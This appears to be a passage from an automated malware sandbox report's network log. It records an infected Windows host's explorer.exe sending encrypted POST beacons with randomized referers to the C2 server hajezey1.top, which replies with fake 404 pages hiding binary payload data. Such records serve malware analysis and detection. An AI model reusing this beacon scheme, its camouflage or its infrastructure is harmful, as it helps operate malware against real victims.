42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|M+%t+xQ<e2P0YObyT=a'4! YU\dIXKg[Ge92)g z6\E'}WpHk"HI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!UvyOZ:-A%GkKm@NQ>[J8},s"JG0Z"?kQTJMQCd%\!&Q#F<pvA>C/CbGBj4VFv2Bo]6HPg5P[Fj6'NGc_,/DO9W%bJR}Tzl9^\mc=>"}h`1%@GN!K.iwA0!Wnawjg";kzRN{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;=g&9c0{%#=9FX?SCnv4ddOU^Tiz=p.jh"?Gqf<=g?$W-{ir[6dQ;}5C%I(A5:/b"'v(5Y5jobSxF/Mv#JzB~&G};3l'ph;j=?xB{F
Oct 29, 2021 17:55:29.337542057 CEST	4914	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 6f 88 05 42 76 8c 9e 94 74 8d 47 41 99 84 05 8c e3 ec 9c 6d 56 30 c8 35 61 dd a7 36 09 c7 3e 76 f3 6b df c8 a7 d3 71 5d 03 45 3b e9 b4 15 54 57 70 3b 8b 38 7c e0 b5 55 Data Ascii: cbp1HErl>oBvtGAmV05a6>vkq]E;TWp;8\|UfG3Q2 !Sj^OM-GIKUtJYAVl>\|5F)s_S3kD--(X!+]1B#&;mW>=H\|a0//1
Oct 29, 2021 17:55:29.337584972 CEST	4916	IN	Data Raw: 67 72 b1 90 17 d6 13 88 bd 8c 88 a4 cb 39 fc d0 f6 a4 6d cb 7d 7b df 3e 86 59 15 7c ce b7 a2 a0 6c a8 1c 94 53 5a 61 5f 29 c9 f9 dc 9b 27 58 b8 ad 7c 0a 9e 68 fa 03 2f dc ec 5c ee a5 9e b6 77 b2 62 c1 2a 6a ac a6 cd 97 a8 c1 13 f4 6c 81 c2 eb 98 Data Ascii: gr9m}{>Y\|lSZa_)'X\|h/\wbjl]_L4Yx}ZnQ.C6{N[-n~52bg}MH>OuR>#AZDsC_kT\1zu@.r)7:R>qS=#
Oct 29, 2021 17:55:29.337625980 CEST	4917	IN	Data Raw: 83 da e5 3c 8a 86 60 07 42 99 7d 83 3d 9b f5 8d 3f e3 1e 40 8f 85 58 4b 44 80 02 ce a3 a7 bf 09 df 10 66 b8 c7 fc 3d 17 cd b2 b3 fd 67 6c fa 88 6c 20 09 9e 59 a6 56 69 b7 7a b1 6a df 1c 85 da 9c f1 61 6f 47 04 72 78 87 dd 84 2b b8 b4 c9 8d 24 47 Data Ascii: <`B}=?@XKDf=gll YVizjaoGrx+$GRTv!8IXf,W0:FJpSz)%$%^:{-u@[l{4[`VSr&FjWh:!v #N:<Id,b7)di( nUM
Oct 29, 2021 17:55:29.337663889 CEST	4918	IN	Data Raw: 88 66 53 73 4c 6e 1c 51 61 2f d0 47 c6 77 4d 13 ae f7 53 ee db 7b a2 dd d3 48 75 78 ed 87 0a 3c 84 b5 b9 29 4d 31 e0 d5 d4 a9 d1 a2 00 40 42 94 be 8b 03 68 5a bf 2e d9 6d e5 66 21 25 16 d9 3e 11 b2 dd 07 6d 7e 03 7b a5 52 5a 0e f6 0c 87 ec 40 92 Data Ascii: fSsLnQa/GwMS{Hux<)M1@BhZ.mf!%>m~{RZ@d+Uu)7`\|QME{Qj.x}/xbF2Q QQv$P,fpUuq?q5]+2o>l*K_$m ?\a?L >yG7GUw#=Q{(ivxf&;t
Oct 29, 2021 17:55:29.337703943 CEST	4920	IN	Data Raw: 80 27 9f 37 91 e3 fd 60 4f b6 2a 52 e0 09 d6 35 74 c1 3a fa e4 ce 8d a1 b6 00 e2 5f f4 4e c1 ed 5e f9 e2 29 67 27 fc f2 22 05 4e d8 13 cf 85 06 f7 98 cc 49 2c 8e 7a e9 4d 2f f2 3c 00 c3 aa 8a 2b d3 c9 09 d1 f9 b0 3c 59 e4 84 6b 18 29 ed fd 09 7f Data Ascii: '7`OR5t:_N^)g'"NI,zM/<+<Yk)xfOg.kQ;OZ!tBQ,!4S'v$>v9gUzS`Hgl'L_6r tJIs#+7im:tRih8V"Gmkn[#`xT5NIs
Oct 29, 2021 17:55:29.337744951 CEST	4921	IN	Data Raw: 47 7b 94 d2 a3 49 39 98 48 a1 db fb 87 cf 2c a5 4d cd 83 82 13 a7 1e e1 19 80 32 7a 5c 85 06 7a c4 53 e5 bb a6 dc 19 71 c4 4c c5 3b 59 cd 78 23 89 f5 11 db c8 79 8f 57 07 37 55 df 58 c5 4e 13 8d cf c4 0c c1 9b 4b e3 7d 5c 65 77 66 38 47 d3 96 14 Data Ascii: G{I9H,M2z\zSqL;Yx#yW7UXNK}\ewf8Gg=sRk_7-9YHH<I4:RqGM<ZLWggR'3uB'$@HE8Y}]jmv?2000vS`;Ao@%g647;jk%jK/df-
Oct 29, 2021 17:55:29.337784052 CEST	4923	IN	Data Raw: a8 06 0c e8 7f 36 2e 98 7b a6 bb 34 16 c6 71 81 b3 8c 7e 38 23 52 07 70 1d 15 bc d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae 30 5a 93 7a 14 2f 14 d2 e3 94 97 a7 57 57 be c0 57 8e 85 63 f2 13 5b ca 4a a1 67 45 38 ae d8 46 8c c3 68 bc Data Ascii: 6.{4q~8#Rp!7naqT0Zz/WWWc[JgE8FhsW-\SpH:.Zzzom,xnX_Bz=:l!<Wp@FK.+lcig$h{)0"Dq/WH/`v8`w:4%0dD
Oct 29, 2021 17:55:29.337824106 CEST	4924	IN	Data Raw: 70 ce b3 a6 39 32 dd 00 07 3f 66 02 14 f0 4c c0 cf 32 e1 ce d2 7b 3b 20 56 75 1a d6 bb f9 b8 4a cc 24 c1 13 36 d5 51 be 59 70 57 e6 64 52 e8 49 62 29 08 16 28 83 34 bd 3d 1e 0b 15 29 23 be 63 04 b7 49 22 1c 7e 11 10 de d6 03 09 3d dc 23 c0 74 73 Data Ascii: p92?fL2{; VuJ$6QYpWdRIb)(4=)#cI"~=#tss$)xHu&A vg4g{E?2{)7fteL}m z8+T\|FG(o:'?:7r3C_%XF-jzH/J`b9rOTF571
Oct 29, 2021 17:55:29.337865114 CEST	4925	IN	Data Raw: 31 f2 33 fb 35 91 c2 26 81 b9 85 6a ea 51 c7 c4 33 2d c7 28 11 6d 66 c7 fc d0 aa af 2a 01 d7 35 41 a6 e3 db f4 0b 35 10 a6 3a f4 09 88 6f 6f 60 2e e0 0f f1 81 1b 1f 65 64 b7 e4 2a 10 f2 d2 5c e2 3d 42 7f cb 42 14 63 02 e7 b5 90 1b 4c 3f 8e 8e 3f Data Ascii: 135&jQ3-(mf5A5:oo`.ed\=BBcL??IQd=b02]dvQ[$'] P\rg9@L(pnD}eAl0WoZ#k"}y$`Bo>>Rro2W,.E~T$xuu]]:LS=q
Oct 29, 2021 17:55:29.389281034 CEST	4927	IN	Data Raw: 6b af 3a 79 b9 22 99 bd e3 07 b4 23 e8 8a bd ef bf 8c 1a 3e 42 ea 05 00 31 40 aa f7 d1 aa 29 57 70 33 61 b0 ec ea 9d 46 0a 33 e7 80 a7 54 f7 a5 91 dc b1 4c 05 85 39 df c3 75 48 af 6c fc 82 8a 6b 52 77 21 c3 6c e5 c9 32 98 75 10 74 85 e7 8f 19 8a Data Ascii: k:y"#>B1@)Wp3aF3TL9uHlkRw!l2utY'%voA2f/,;zpG7_gxb<ASp>U7Y,9f1O ^"@&(7Nqw#Fn`0/};%*Pt^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	49828	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:31.193311930 CEST	5097	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kdacdmichm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 229 Host: hajezey1.top
Oct 29, 2021 17:55:31.193336964 CEST	5098	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 8e 66 5d 02 c9 a1 c1 64 05 d5 c0 63 Data Ascii: lI\|FG2@i^mwmwu$f]dcf9[QIdEI('f}{IktD!@`:=IPkSw!/nP2)A@WR&O}%Yl~MvQ]Vl]8k;/Tr7k+{a+F`CT
Oct 29, 2021 17:55:31.278789043 CEST	5098	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49814	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	49829	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:31.369812965 CEST	5099	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fsluxk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 240 Host: hajezey1.top
Oct 29, 2021 17:55:31.369837046 CEST	5099	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 55 c5 ad 27 Data Ascii: lI\|FG2@i^mwmwu$f]dU'^!7]Da5+',l@pwe3ON;@h,&ht#+?$N\|C;!2*`.XW.E>uBW:LHech-L!g;p& u
Oct 29, 2021 17:55:31.452559948 CEST	5100	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	49832	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:31.959697962 CEST	5109	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dpiqpnl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: hajezey1.top
Oct 29, 2021 17:55:31.959718943 CEST	5109	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 3d b4 90 67 Data Ascii: lI\|FG2@i^mwmwu$f]d=g7?m~MCh0qckrhX`\|;6:xS9HG,_>i3K`@`8rjxl^)U')Gpa(cx-gQu3\#/AmpgsV
Oct 29, 2021 17:55:32.039067984 CEST	5474	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	49833	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:32.149271011 CEST	7103	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tysqt.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 305 Host: hajezey1.top
Oct 29, 2021 17:55:32.149286985 CEST	7103	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 29 b3 8d 65 Data Ascii: lI\|FG2@i^mwmwu$f]d)efBCP+9{JlDy;71>gHE)y NeIR2'2L%yX@Yq'8vGi0=RV6`I{x\|u7Tzh*MYTL[
Oct 29, 2021 17:55:32.232378960 CEST	7104	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	49834	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:32.328716040 CEST	7105	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dhskdgpx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 221 Host: hajezey1.top
Oct 29, 2021 17:55:32.328731060 CEST	7105	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 1a 9d 83 67 Data Ascii: lI\|FG2@i^mwmwu$f]dg[y4Js72M9yi5/>1L %k7fp"P]N&m7QSd$Pnd,n_D\|r,bkJ$D_Xu@%a
Oct 29, 2021 17:55:32.408582926 CEST	7107	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b f7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0b 4a 05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 a1 1e c7 1f ab 29 29 8c 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91 5b 07 e9 1f 9d 15 46 a6 b3 58 f1 06 ee 0c 42 de 8b f4 24 eb a8 e1 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 0f 4e 86 19 7d 6f 37 e3 04 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 eb 5f c8 c3 e7 b2 ec 24 1a 0a 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8c f5 0a ef 8b 71 91 e0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 12 c3 b2 a5 83 41 ab 13 af b8 e8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 f5 66 3c 3d d8 bf cb 67 5c d8 97 24 c8 b9 fc f0 d4 e8 57 2d a6 a1 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 f5 51 cf 3b c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 27 1d 02 a1 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 81 f5 97 d4 78 2b 2c 62 98 ed 24 c6 ff c5 d4 d9 49 0a 8a 10 c4 44 b9 97 c4 fa be a8 48 96 9e 9b 55 1a f6 de e8 d0 9b 92 17 7d 69 05 79 4a 09 9f 3c bf 00 62 4b 65 fb 80 ab 5b 87 80 39 cd bb 78 96 64 a4 a4 a2 41 45 e8 03 ff 0e 4d e2 d0 97 23 3b 5e 04 e8 5a 9a 14 7a 59 92 17 7e d6 70 82 ba 4b 96 7e bb ee 1f 38 33 d5 53 6f 27 88 32 e7 ce 85 b9 9b 3b 22 2f d9 3d ff 24 3c 78 92 93 78 f9 7e 21 86 a5 ec 34 Data Ascii: 